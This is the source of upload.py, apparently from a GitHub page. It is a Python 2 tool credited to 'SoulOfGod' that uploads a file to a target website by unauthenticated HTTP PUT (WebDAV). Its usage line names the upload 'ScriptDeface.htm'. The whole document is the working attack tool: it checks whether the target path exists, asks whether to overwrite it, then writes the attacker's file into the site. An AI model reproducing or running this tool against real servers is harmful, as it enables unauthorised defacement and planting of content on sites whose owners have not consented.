-
Notifications
You must be signed in to change notification settings - Fork 0
/
upload.py
61 lines (48 loc) · 1.38 KB
/
upload.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/usr/bin/python
import requests
import string
import random
import sys
import os
os.system("clear")
print ("Tool By SoulOfGod")
print ("Run python2 upload.py ")
def webdav():
sc = ''
with open(sys.argv[2], 'rb') as f:
depes = f.read()
script = depes
host = sys.argv[1]
if not host.startswith('http'):
host = 'http://' + host
nama = '/'+sys.argv[2]
print("[*] Upload File Name : %s") % (sys.argv[2])
print("[*] Uploading %d bytes, Script") % len(script)
r = requests.request('put', host + nama, data=script, headers={'Content-Type':'application/octet-stream'})
if r.status_code < 200 or r.status_code >= 300:
print("[!] Upload failed . . .")
sys.exit(1)
else:
print("[+] File uploaded . . .")
print("[+] PATH : "+host + nama)
def cekfile():
print("[*] Cek File Di Target : "+sys.argv[1]+"/"+sys.argv[2])
r = requests.get(sys.argv[1] +"/"+ sys.argv[2])
if r.status_code == requests.codes.ok:
print("[*] Di Temukan File Yg Sama Di Target . . .")
tanya = raw_input("[!] Replace File Target ? [Y/N] > ")
if tanya == "Y":
webdav()
else:
print("[!] Exiting Tools . . .")
sys.exit()
else:
print("[*] File Ga Di Target . . .")
print("[*] Proses Upload Script lu . . .")
webdav()
if __name__ == '__main__':
if len(sys.argv) != 3:
print("\n[*] "+sys.argv[0]+" Target.com ScriptDeface.htm\n")
sys.exit(0)
else:
cekfile()